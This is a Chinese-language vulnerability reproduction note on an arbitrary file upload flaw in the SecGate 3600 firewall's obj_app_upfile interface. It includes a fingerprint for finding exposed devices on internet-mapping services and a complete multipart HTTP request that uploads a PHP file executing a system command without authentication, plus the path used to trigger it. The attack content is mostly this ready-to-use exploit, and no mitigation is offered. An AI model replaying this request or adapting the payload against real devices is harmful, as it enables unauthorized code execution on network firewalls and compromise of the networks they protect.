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网神 SecGate 3600 防火墙 obj_app_upfile 任意文件上传漏洞.md

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漏洞描述

网神 SecGate 3600 防火墙 obj_app_upfile接口存在任意文件上传漏洞，攻击者通过构造特殊请求包即可获取服务器权限

漏洞影响

网神 SecGate 3600 防火墙

网络测绘

fid="1Lh1LHi6yfkhiO83I59AYg=="

漏洞复现

登录页面

![image-20230810090932372](./网神 SecGate 3600 防火墙 obj_app_upfile 任意文件上传漏洞.assets/image-20230810090932372.png)

出现漏洞的文件 webui/modules/object/app.mds

![image-20230810090941737](./网神 SecGate 3600 防火墙 obj_app_upfile 任意文件上传漏洞.assets/image-20230810090941737.png)

代码中没有对文件调用进行鉴权，且文件上传路径为可访问路径，造成任意文件上传

![image-20230810090957770](./网神 SecGate 3600 防火墙 obj_app_upfile 任意文件上传漏洞.assets/image-20230810090957770.png)

POST /?g=obj_app_upfile HTTP/1.1
Host: 
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 574
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)

------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="upfile"; filename="vulntest.php"
Content-Type: text/plain

<?php system("id");unlink(__FILE__);?>

------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundaryJpMyThWnAxbcBBQc--

默认上传路径 /secgate/webui/attachements/ ， 访问 attachements/xxx.php 文件

![image-20230810091011621](./网神 SecGate 3600 防火墙 obj_app_upfile 任意文件上传漏洞.assets/image-20230810091011621.png)